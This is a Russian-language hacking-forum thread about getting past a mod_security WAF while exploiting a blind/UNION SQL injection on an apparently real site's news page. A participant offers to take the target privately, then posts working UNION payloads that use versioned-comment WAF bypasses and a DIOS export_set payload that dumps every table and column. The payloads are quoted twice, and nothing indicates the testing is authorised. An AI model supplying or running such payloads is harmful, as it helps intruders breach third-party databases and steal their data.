Sqlmap + waf

[OSW]

Есть boolean-based blind, есть waf (mod_security), вытащил дб/юзера/хост ч-з sqlmap с набором стандартных тамперов. Но при попытках вытащить таблицы и проч., натыкаюсь на waf'ную 406 ошибку.

Вижу вектор движения: information -> inform%0bation (так отрабатывает), но уперся в автоматизацию этого действия. Есть какие-то решения?

[SooLFaa]

DIOS - DUMP IN ONE SHOT. Технология SQL Injection с помощью которой можно вывести все таблицы столбцы а далее в тот же скуль мап ты уже можешь указать имя конкретной таблицы. Это как один из вариантов.

[faza02]

↑ (https://antichat.live/posts/3980531/)
DIOS - DUMP IN ONE SHOT. Технология SQL Injection с помощью которой можно вывести все таблицы столбцы а далее в тот же скуль мап ты уже можешь указать имя конкретной таблицы. Это как один из вариантов.


особенно актуально с blind

[SooLFaa]

↑ (https://antichat.live/posts/3980542/)
особенно актуально с blind


OUT OF BAND - как вариант.

[BabaDook]

↑ (https://antichat.live/posts/3980542/)
особенно актуально с blind


Как подъёб звучал

[SooLFaa]

↑ (https://antichat.live/posts/3980546/)
Как подъёб звучал


Подъёб засчитан.

[faza02]

oob есть не для всех бд, тут скорее речь о mysql

[SooLFaa]

↑ (https://antichat.live/posts/3980552/)
oob есть не для всех бд, тут скорее речь о mysql


Полностью согласен. Но вдруг....

[OSW]

↑ (https://antichat.live/posts/3980545/)
OUT OF BAND - как вариант.


Благодарю, но не сработало.

[SooLFaa]

↑ (https://antichat.live/posts/3980617/)
Благодарю, но не сработало.


Я так понимаю, что СУБД MySQL?

[OSW]

↑ (https://antichat.live/posts/3980639/)
Я так понимаю, что СУБД MySQL?


Да, забыл указать сразу.

[SooLFaa]

↑ (https://antichat.live/posts/3980772/)
Да, забыл указать сразу.


Скинь в лс таргет, после работы попробуем покрутить.

[SooLFaa]

Во - первых, неправильно определил вектор. Здесь самый обычный UNION (ну есессно если есть юнион бэйсед есть и блайнд, никто не спорит). Тоже касается и payload для waf bypass.

Валидный запрос в твоем случае выглядет так:

../news/0'+/*!12345UnIon*/+select+1,2,(Select+Table_Name+From+/*!information_schema*/.Tables+limit+1,1),4,5,6,7,8,9,0+--+'(/ (https://host/news/0'+/*!12345UnIon*/+select+1,2,(Select+Table_Name+From+/*!information_schema*/.Tables+limit+1,1),4,5,6,7,8,9,0+--+'(/)

DIOS.

..news/0'+/*!12345UnIon*/+select+1,2,(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=ex port_set(5,export_set(5,@,table_name,0x3c6c693e,2) ,column_name,0xa3a,2)),@,2)) ,4,5,6,7,8,9,0+--+'(/ (http://host/news/0'+/*!12345UnIon*/+select+1,2,(Select%20export_set(5,@:=0,(select%20 count(*)from(information_schema.columns)where@:=ex port_set(5,export_set(5,@,table_name,0x3c6c693e,2) ,column_name,0xa3a,2)),@,2))%20,4,5,6,7,8,9,0+--+'(/)

И всё проще без sqlmap. Валидную ссылку отправил в лс.

[OSW]

↑ (https://antichat.live/posts/3980804/)
Во - первых, неправильно определил вектор. Здесь самый обычный UNION (ну есессно если есть юнион бэйсед есть и блайнд, никто не спорит). Тоже касается и payload для waf bypass.
Валидный запрос в твоем случае выглядет так:
../news/0'+/*!12345UnIon*/+select+1,2,(Select+Table_Name+From+/*!information_schema*/.Tables+limit+1,1),4,5,6,7,8,9,0+--+'(/ (https://host/news/0'+/*!12345UnIon*/+select+1,2,(Select+Table_Name+From+/*!information_schema*/.Tables+limit+1,1),4,5,6,7,8,9,0+--+'(/)
DIOS.
..news/0'+/*!12345UnIon*/+select+1,2,(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=ex port_set(5,export_set(5,@,table_name,0x3c6c693e,2) ,column_name,0xa3a,2)),@,2)) ,4,5,6,7,8,9,0+--+'(/ (http://host/news/0'+/*!12345UnIon*/+select+1,2,(Select%20export_set(5,@:=0,(select%20 count(*)from(information_schema.columns)where@:=ex port_set(5,export_set(5,@,table_name,0x3c6c693e,2) ,column_name,0xa3a,2)),@,2))%20,4,5,6,7,8,9,0+--+'(/)
И всё проще без sqlmap. Валидную ссылку отправил в лс.


Мегареспектище!

Курю, где был не прав.